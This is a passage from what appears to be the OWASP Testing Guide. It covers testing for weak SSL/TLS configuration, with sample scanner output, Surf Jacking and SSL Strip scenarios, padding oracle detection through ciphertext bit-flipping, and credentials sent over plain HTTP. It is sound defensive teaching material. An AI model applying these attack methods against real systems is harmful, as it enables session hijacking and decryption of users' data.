[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in <http://heartbleed.com/>
 [!] Vulnerability Status: VULNERABLE

#####

Loading module: CCS Injection script by TripWire VERT ...

Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...

[!] The target may allow early CCS on TLSv1.2
 [!] The target may allow early CCS on TLSv1.1
 [!] The target may allow early CCS on TLSv1
 [!] The target may allow early CCS on SSLv3

[-] This is an experimental detection script and does not definitively determine vulnerable server status.

[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in <http://>
 [!] Vulnerability Status: Possible

#####

Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...

[*] HTTP Compression: DISABLED
 [*] Immune from BREACH attack mentioned in <https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH>
 [*] Vulnerability Status: No

----- RAW HTTP RESPONSE -----

```
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html
```

```
<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/test.css">
```

#####

Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...

```
[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats
[!] Vulnerability Status: VULNERABLE
```

----- RAW HTTP RESPONSE -----

```
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html
```

```
<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/test.css">
```

#####

Checking localhost for HTTP support against HTTPS Stripping attack ...

```
[!] HTTP Support on port [80] : SUPPORTED
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Black
[!] Vulnerability Status: VULNERABLE
```

#####

Checking localhost:443 for HTTP elements embedded in SSL page ...

```
[!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack
[!] Vulnerability Status: VULNERABLE
```

----- HTTP RESOURCES EMBEDDED -----

```
- http://othersite/test.js
- http://somesite/test.css
```

#####

Checking localhost:443 for ROBUST use of anti-caching mechanism ...

```
[!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.
[!] Vulnerability Status: VULNERABLE
```

Robust Solution:

- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0
- Ref: [https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_\(OTG-AUTHN-006\)](https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006))
[http://msdn.microsoft.com/en-us/library/ms533020\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx)

#####

Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...

```
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
[!] Vulnerability Status: VULNERABLE
```

----- RAW HTTP RESPONSE -----

```
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html
```

#####

Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...

```
[*] Forward Secrecy: SUPPORTED
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.
[*] Vulnerability Status: No
```

#####

Checking localhost:443 for RC4 support (CVE-2013-2566) ...

```
[!] RC4: SUPPORTED
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/
[!] Vulnerability Status: VULNERABLE
```

#####

Checking localhost:443 for TLS 1.1 support ...

Checking localhost:443 for TLS 1.2 support ...

```
[*] TLS 1.1, TLS 1.2: SUPPORTED
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Vulnerability Status: No
```

#####

Loading module: sslyze by iSecPartners ...

Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...

```
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/
[*] Vulnerability Status: No
```

```

[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
[*] Vulnerability Status: No

#####

Loading module: TestSSLServer by Thomas Pornin ...

Checking localhost:443 for SSL version 2 support ...

[*] SSL version 2 : NOT SUPPORTED
[*] Immune from SSLv2-based MITM attack
[*] Vulnerability Status: No

#####

Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...

Supported LANE cipher suites:
SSLv3
  RSA_EXPORT_WITH_RC4_40_MD5
  RSA_EXPORT_WITH_RC2_CBC_40_MD5
  RSA_EXPORT_WITH_DES40_CBC_SHA
  RSA_WITH_DES_CBC_SHA
  DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
  DHE_RSA_WITH_DES_CBC_SHA
  TLS_ECDH_anon_WITH_RC4_128_SHA
  TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
  TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
(TLSv1.1: same as above)
(TLSv1.2: same as above)

[!] LANE ciphers : SUPPORTED
[!] Attackers may be ABLE to recover encrypted packets.
[!] Vulnerability Status: VULNERABLE

#####

Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...

Supported GCM cipher suites against Lucky13 attack:
TLSv1.2
  TLS_RSA_WITH_AES_128_GCM_SHA256
  TLS_RSA_WITH_AES_256_GCM_SHA384
  TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
  TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
  TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
  TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

[*] GCM/CCM ciphers : SUPPORTED
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No

#####

Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...

[*] TLS Compression : DISABLED
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-attack.pdf
[*] Vulnerability Status: No

#####

[+] Breacher finished scanning in 12 seconds.
[+] Get your latest copy at http://yehg.net/

```

Testing SSL certificate validity – client and server

Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer.


By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates.

These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the `-sV` command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services.

Example 1. Testing for certificate validity (manually)


Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company.

We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site.



Warning issued by Microsoft Internet Explorer

The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.

*Warning issued by Mozilla Firefox*

Testing for other vulnerabilities

As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.

Surf Jacking

The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim's connection is encrypted using SSL or TLS.

The following is a scenario of how the attack can take place:

- Victim logs into the secure website at <https://somesecuresite/>.
- The secure site issues a session cookie as the client logs in.
- While logged in, the victim opens a new browser window and goes to [http:// examplesite/](http://examplesite/)
- An attacker sitting on the same network is able to see the clear text traffic to <http://examplesite>.
- The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to <http://examplesite>. The response contains the header "Location: [http://somesecuresite /](http://somesecuresite/)", which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.
- The victim's browser starts a new clear text connection to <http://somesecuresite/> and sends an HTTP request containing the cookie in the HTTP header in clear text

- The attacker sees this traffic and logs the cookie for later use.

To test if a website is vulnerable carry out the following tests:

1. Check if website supports both HTTP and HTTPS protocols
2. Check if cookies do not have the "Secure" flag

SSL Strip

Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.

An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.

Testing via HTTP proxy

Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.

Example 8. Testing via HTTP proxy

To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:

```
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
```

Then the tester can target all other tools to localhost:9999:

```
$ openssl s_client -connect localhost:9999
```

All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.

Configuration Review

Testing for Weak SSL/TLS Cipher Suites

Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well.

Example 9. Windows Server

Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\
```

that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.

Example 10: Apache

To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.

Testing SSL certificate validity – client and server

Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.

Tools

- [21][Qualys SSL Labs - SSL Server Test|<https://www.ssllabs.com/ssltest/index.html>]: internet facing scanner
- [27] [Tenable - Nessus Vulnerability Scanner|<http://www.tenable.com/products/nessus>]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.
- [32] [TestSSLServer|<http://www.bolet.org/TestSSLServer/>]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST
- [33] [sslyze|<https://github.com/ISECPartners/sslyze>]: is a python script to check vulnerabilities in SSL/TLS.
- [28] [SSLAudit|<https://code.google.com/p/sslaudit/>]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.
- [29] [SSLScan|<http://sourceforge.net/projects/sslscan/>] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.
- [31] [nmap|<http://nmap.org/>]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|<http://nmap.org/nmapdoc/scripts/ssl-cert.html>] and supported [SSL/TLS protocols/ciphers|<http://nmap.org/nmapdoc/scripts/ssl-enum-ciphers.html>] with an internal rating.
- [30] [curl|<http://curl.haxx.se/>] and [openssl|<http://www.openssl.org/>]: can be used to query manually SSL/TLS services
- [9] [Stunnel|<http://www.stunnel.org/>]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)
- [37] [socat| <http://www.dest-unreach.org/socat/>]: Multipurpose relay
- [38] [testssl.sh| <https://testssl.sh/>]

References

OWASP Resources

- [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|[https://www.owasp.org/index.php/Testing_for_cookies_attributes_\(OTG-SESS-002\)](https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002))]
- [4] [OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_\(OTG-CONFIG-001\)](https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001))]
- [6] [OWASP Testing Guide - Testing for HTTPStrict_Transport_Security (OTG-CONFIG-007)|[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security\(OTG-CONFIG-007\)](https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security(OTG-CONFIG-007))]
- [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_\(OTG-CRYPST-003\)](https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003))]
- [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_\(OTG-AUTHN-001\)](https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001))]
- [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]
- [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]
- [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer

Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]

- [25] [OWASP ASVS 2009 - Verification 10]|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]
- [26] [OWASP Application Security FAQ - Cryptography/SSL]|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]

Whitepapers

- [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)]|<http://www.ietf.org/rfc/rfc5246.txt>]
- [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1]
- [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions]|<http://www.ietf.org/rfc/rfc6066.txt>]
- [11] [SSLv2 Protocol Multiple Weaknesses]|<http://osvdb.org/56387>]
- [12] [Mitre - TLS Renegotiation MiTM]|<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555>]
- [13] [Qualys SSL Labs - TLS Renegotiation DoS]|<https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks>]
- [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices]|<https://www.ssllabs.com/projects/best-practices/index.html>]
- [14] [Qualys SSL Labs - SSL Server Rating Guide]|<https://www.ssllabs.com/projects/rating-guide/index.html>]
- [20] [Qualys SSL Labs - SSL Threat Model]|<https://www.ssllabs.com/projects/ssl-threat-model/index.html>]
- [18] [Qualys SSL Labs - Forward Secrecy]|<https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy>]
- [15] [Qualys SSL Labs - RC4 Usage]|<https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what>]
- [16] [Qualys SSL Labs - BEAST]|<https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls>]
- [17] [Qualys SSL Labs - CRIME]|<https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssl-tls>]
- [7] [SurfJacking attack]|<https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf>]
- [8] [SSLStrip attack]|<http://www.thoughtcrime.org/software/sslstrip/>]
- [19] [PCI-DSS v2.0]|https://www.pcisecuritystandards.org/security_standards/documents.php]
- [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions]|http://link.springer.com/chapter/10.1007/11426639_2]

Testing for Padding Oracle (OTG-CRYPST-002)

Summary

A padding oracle is a function of an application which decrypts encrypted data provided by the client, e.g. internal session state stored on the client, and leaks the state of the validity of the padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations. This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data is assumed by the application.

Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn't match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS#7. It fills the remaining bytes with the value of the padding length.

Example:

If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text.

An error condition is present if the padding doesn't match the syntax of the used padding scheme. A padding oracle is present if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. `BadPaddingException` in Java) directly, by subtle differences in the responses sent to the client or by another side-channel like timing behavior.

Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n -th block of CBC encrypted data causes that the same bit in the $(n+1)$ -th block is flipped in the decrypted data. The n -th block of the decrypted cipher text is garbaged by this manipulation.

The padding oracle attack enables an attacker to decrypt encrypted data without knowledge of the encryption key and used cipher by sending skillful manipulated cipher texts to the padding oracle and observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored on the client side the attacker can gain information about the internal state and structure of the application.

A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.

How to Test

Black Box Testing

Testing for padding oracle vulnerabilities:

First the possible input points for padding oracles must be identified. Generally the following conditions must be met:

1. The data is encrypted. Good candidates are values which appear to be random.
2. A block cipher is used. The length of the decoded (Base64 is used often) cipher text is a multiple of common cipher block sizes like 8 or 16 bytes. Different cipher texts (e.g. gathered by different sessions or manipulation of session state) share a common divisor in the length.

Example:

`Dg6W80iWMIIdVokIDH15T/A==` results after Base64 decoding in `0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc`. This seems to be random and 16 byte long.

If such an input value candidate is identified, the behavior of the application to bit-wise tampering of the encrypted value should be verified. Normally this Base64 encoded value will include the initialization vector (IV) prepended to the cipher text. Given a plaintext p and a cipher with a block size n , the number of blocks will be $b = \text{ceil}(\text{length}(p) / n)$. The length of the encrypted string will be $y = (b+1) * n$ due to the initialization vector. To verify the presence of the oracle, decode the string, flip the last bit of the second-to-last block $b-1$ (the least significant bit of the byte at $y-n-1$), re-encode and send. Next, decode the original string, flip the last bit of the block $b-2$ (the least significant bit of the byte at $y-2*n-1$), re-encode and send.

If it is known that the encrypted string is a single block (the IV is stored on the server or the application is using a bad practice hardcoded IV), several bit flips must be performed in turn. An alternative approach could be to prepend a random block, and flip bits in order to make the last byte of the added block take all possible values (0 to 255).

The tests and the base value should at least cause three different states while and after decryption:

- Cipher text gets decrypted, resulting data is correct.
- Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic.
- Cipher text decryption fails due to padding errors.

Compare the responses carefully. Search especially for exceptions and messages which state that something is wrong with the padding. If such messages appear, the application contains a padding oracle. If the three different states described above are observable implicitly (different error messages, timing side-channels), there is a high probability that there is a padding oracle present at this point. Try to perform the padding oracle attack to ensure this.

Examples:

- ASP.NET throws "System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed." if padding of a decrypted cipher text is broken.
- In Java a `javax.crypto.BadPaddingException` is thrown in this case.
- Decryption errors or similar can be possible padding oracles.

Result Expected:

A secure implementation will check for integrity and cause only two responses: ok and failed. There are no side channels which can be used to determine internal error states.

Grey Box Testing

Testing for padding oracle vulnerabilities:

Verify that all places where encrypted data from the client, that should only be known by the server, is decrypted. The following conditions should be met by such code:

1. The integrity of the cipher text should be verified by a secure mechanism, like HMAC or authenticated cipher operation modes like GCM or CCM.
2. All error states while decryption and further processing are handled uniformly.

Tools

- PadBuster - <https://github.com/GDSSecurity/PadBuster>
- python-paddingoracle - <https://github.com/mwielgoszewski/python-paddingoracle>
- Poracle - <https://github.com/iagox86/Poracle>
- Padding Oracle Exploitation Tool (POET) - <http://netifera.com/research/>

Examples

- Visualization of the decryption process - <http://erlend.oftedal.no/blog/poet/>

References

Whitepapers

- Wikipedia - Padding oracle attack - http://en.wikipedia.org/wiki/Padding_oracle_attack
- Juliano Rizzo, Thai Duong, "Practical Padding Oracle Attacks" - http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf

Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)

Summary

Sensitive data must be protected when it is transmitted through the network. If data is transmitted over HTTPS or encrypted in another way the protection mechanism must not have limitations or vulnerabilities, as explained in the broader article [Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection \(OTG-CRYPST-001\)](#) [1] and in other OWASP documentation [2], [3], [4], [5].

As a rule of thumb if data must be protected when it is stored, this data must also be protected during transmission. Some examples for sensitive data are:

- Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies...)
- Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)

If the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is considered a security risk. Some examples are Basic authentication which sends authentication credentials in plain-text over HTTP, form based authentication credentials sent via HTTP, or plain-text transmission of any other information considered sensitive due to regulations, laws, organizational policy or application business logic.

How to Test

Various types of information that must be protected, could be transmitted by the application in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS, or whether weak cyphers are used. See more information about insecure transmission of credentials [Top 10 2013-A6-Sensitive Data Exposure](#) [3] or insufficient transport layer protection in general [Top 10 2010-A9-Insufficient Transport Layer Protection](#) [2].

Example 1: Basic Authentication over HTTP

A typical example is the usage of Basic Authentication over HTTP. When using Basic Authentication, user credentials are encoded rather than encrypted, and are sent as HTTP headers. In the example below the tester uses curl [5] to test for this issue. Note how the application uses Basic authentication, and HTTP rather than HTTPS

```
$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes Vary:
Accept-Encoding Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></head>
<body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login credentials! </body></html>
```

Example 2: Form-Based Authentication Performed over HTTP

Another typical example is authentication forms which transmit user authentication credentials over HTTP. In the example below one can see HTTP being used in the "action" attribute of the form. It is also possible to see this issue by examining the HTTP traffic with an interception proxy.

```
<form action="http://example.com/login">
```

```

<label for="username">User:</label> <input type="text" id="username" name="username" value=""/><br />
<label for="password">Password:</label> <input type="password" id="password" name="password" value=""/>
<input type="submit" value="Login"/>
</form>

```

Example 3: Cookie Containing Session ID Sent over HTTP

The Session ID Cookie must be transmitted over protected channels. If the cookie does not have the secure flag set [6] it is permitted for the application to transmit it unencrypted. Note below the setting of the cookie is done without the Secure flag, and the entire log in process is performed in HTTP and not HTTPS.

```

https://secure.example.com/login

POST /login HTTP/1.1
Host: secure.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

HTTP/1.1 302 Found
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.
Location: private/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html

-----
http://example.com/private

GET /private HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/login
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html;charset=UTF-8
Content-Length: 730
Date: Tue, 25 Dec 2013 00:00:00 GMT
-----

```

Tools

- [5] [curl](#) can be used to check manually for pages

References

OWASP Resources

- [1] [OWASP Testing Guide - Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection \(OTG-CRYPST-001\)](#)
- [2] [OWASP TOP 10 2010 - Insufficient Transport Layer Protection](#)
- [3] [OWASP TOP 10 2013 - Sensitive Data Exposure](#)
- [4] [OWASP ASVS v1.1 - V10 Communication Security Verification Requirements](#)
- [6] [OWASP Testing Guide - Testing for Cookies attributes \(OTG-SESS-002\)](#)

Business Logic Testing

Summary

Testing for business logic flaws in a multi-functional dynamic web application requires thinking in unconventional methods. If an application's authentication mechanism is developed with the intention of performing steps 1, 2, 3 in that specific order to authenticate a user. What happens if the user goes from step 1 straight to step 3? In this simplistic example, does the application provide access by failing open; deny access, or just error out with a 500 message?

There are many examples that can be made, but the one constant lesson is "think outside of conventional wisdom". This type of vulnerability cannot be detected by a vulnerability scanner and relies upon the skills and creativity of the penetration tester. In addition, this type of vulnerability is usually one of the hardest to detect, and usually application specific but, at the same time, usually one of the most detrimental to the application, if exploited.

The classification of business logic flaws has been under-studied; although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.

Testing of business logic flaws is similar to the test types used by functional testers that focus on logical or finite state testing. These types of tests require that security professionals think a bit differently, develop abused and misuse cases and use many of the testing techniques embraced by functional testers. Automation of business logic abuse cases is not possible and remains a manual art relying on the skills of the tester and their knowledge of the complete business process and its rules.

Business Limits and Restrictions

Consider the rules for the business function being provided by the application. Are there any limits or restrictions on people's behavior? Then consider whether the application enforces those rules. It's generally pretty easy to identify the test and analysis cases to verify the application if you're familiar with the business. If you are a third-party tester, then you're going to have to use your common sense and ask the business if different operations should be allowed by the application.

Sometimes, in very complex applications, the tester will not have a full understanding of every aspect of the application initially. In these situations, it is best to have the client walk the tester through the application, so that they may gain a better understanding of the limits and intended functionality of the application, before the actual test begins. Additionally, having a direct line to the developers (if possible) during testing will help out greatly, if any questions arise regarding the application's functionality.

Description of the Issue

